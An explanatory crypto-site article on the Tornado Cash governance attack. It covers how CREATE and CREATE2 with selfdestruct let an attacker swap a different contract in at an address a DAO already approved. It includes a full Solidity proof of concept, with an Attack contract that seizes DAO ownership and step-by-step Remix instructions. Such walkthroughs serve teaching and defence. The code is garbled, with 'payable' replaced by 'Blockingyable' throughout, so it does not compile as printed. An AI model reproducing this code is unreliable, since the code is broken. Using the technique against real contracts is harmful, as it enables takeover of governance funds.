Decoding Tornado Governance Attack: How to Deploy Different Contracts on the Same Address

Tornado Governance Attack Decoded: Deploying Multiple Contracts on the Same Address

About two weeks ago (May 20th), the well-known privacy protocol Tornado Cash was subjected to a governance attack, and the hacker gained control of the governance contract (Owner) of Tornado Cash.

The attack process is as follows: the attacker first submitted a “seemingly normal” proposal. After the proposal was passed, the contract address to be executed by the proposal was destroyed, and a new attack contract was created at that address.

The key to the attack here is that different contracts were deployed at the same address , how was this achieved?

Background knowledge

There are two opcodes in EVM that are used to create contracts: CREATE and CREATE2 .

CREATE opcode

When using new Token() , CREATE opcode is used, and the created contract address calculation function is:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))

The created contract address is determined by the creator address + creator nonce (the number of contracts created). Since the Nonce always increases incrementally, when the Nonce increases, the created contract address is always different.

CREATE2 opcode

When adding a salt, new Token{salt: bytes32()}() is used, and the created contract address calculation function is:

 address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))

The created contract address is creator address + custom salt + bytecode of the smart contract to be deployed , so only the same bytecode and the same salt can be deployed to the same contract address.

So how can different contracts be deployed at the same address?

Attack method

The attacker combined Create2 and Create to create a contract, as shown in the figure:

Code reference: https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

First, use Create2 to deploy a contract Deployer , and use Create in Deployer to create the target contract Proposal (used for proposals). Both the Deployer and Proposal contracts have a self-destruction implementation ( selfdestruct ).

After the proposal is passed, the attacker destroys the Deployer and Proposal contracts, and then re-creates the Deployer using the same salt, resulting in a Deployer contract with the same address as before but with its state cleared and nonce reset to 0. The attacker can then use this nonce to create another contract, Attack.

Attack Code Example

This code is from: https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO {    struct Proposal {        address target;        bool approved;        bool executed;    }    address public owner = msg.sender;    Proposal[] public proposals;    function approve(address target) external {        require(msg.sender == owner, "not authorized");        proposals.push(Proposal({target: target, approved: true, executed: false}));    }    function execute(uint256 proposalId) external Blockingyable {        Proposal storage proposal = proposals[proposalId];        require(proposal.approved, "not approved");        require(!proposal.executed, "executed");        proposal.executed = true;        (bool ok, ) = proposal.target.delegatecall(            abi.encodeWithSignature("executeProposal()")        );        require(ok, "delegatecall failed");    }}contract Proposal {    event Log(string message);    function executeProposal() external {        emit Log("Excuted code approved by DAO");    }    function emergencyStop() external {        selfdestruct(Blockingyable(address(0)));    }}contract Attack {    event Log(string message);    address public owner;    function executeProposal() external {        emit Log("Excuted code not approved by DAO :)");        // For example - set DAO's owner to attacker        owner = msg.sender;    }}contract DeployerDeployer {    event Log(address addr);    function deploy() external {        bytes32 salt = keccak256(abi.encode(uint(123)));        address addr = address(new Deployer{salt: salt}());        emit Log(addr);    }}contract Deployer {    event Log(address addr);    function deployProposal() external {        address addr = address(new Proposal());        emit Log(addr);    }    function deployAttack() external {        address addr = address(new Attack());        emit Log(addr);    }    function kill() external {        selfdestruct(Blockingyable(address(0)));    }}

Feel free to try out the code in Remix yourself.

  1. First, deploy DeployerDeployer, call DeployerDeployer.deploy() to deploy Deployer, and then call Deployer.deployProposal() to deploy Proposal.

  2. After obtaining the address of the Proposal contract, initiate a proposal to the DAO.

  3. Call Deployer.kill and Proposal.emergencyStop to destroy Deployer and Proposal.

  4. Call DeployerDeployer.deploy() again to deploy Deployer, then call Deployer.deployAttack() to deploy Attack, which will be the same as the previous Proposal.

  5. When you call DAO.execute, the attack is complete and the attacker gains DAO’s owner permission.

We will continue to update Blocking; if you have any questions or suggestions, please contact us!

Share:

Was this article helpful?

93 out of 132 found this helpful

Discover more

Market

Get Ready for a Crypto Carnival - New Listings and Delistings!

Check out our latest rundown of notable digital asset listings, delistings, and trading pair updates from crypto exch...

Blockchain

The head exchange spoiled, but who did not solve the Staking pain point?

It will seize more than 14% of the market share of the currency market, and the choice of the top 100 currencies of t...

Policy

FTX Creditors' Lawyers Strike a Sweet Deal Investors to Feast on 90% of the Remaining SBF's Empire

Non-U.S. creditors of FTX are being told by lawyers that they will receive a favorable deal in the exchange's bankrup...

Blockchain

Can the community restart and can the losses be recovered? 8 big events to clarify the way for FCoin to defend your rights

On February 17, 2020, FCoin founder Zhang Jian released the "FCoin Truth" announcement. FCoin was unable to...

Blockchain

How does the derivatives market fight on the platform of the 5-year-old exchange?

Derivatives trading has become a battleground for the military, and OKex, Huobi, Gate, Fcoin, which are well-known ex...

Blockchain

Metropolitan Museum of Art in New York to return $550,000 FTX donation

According to Decrypt, the Metropolitan Museum of Art in New York has agreed to return hundreds of thousands of dollar...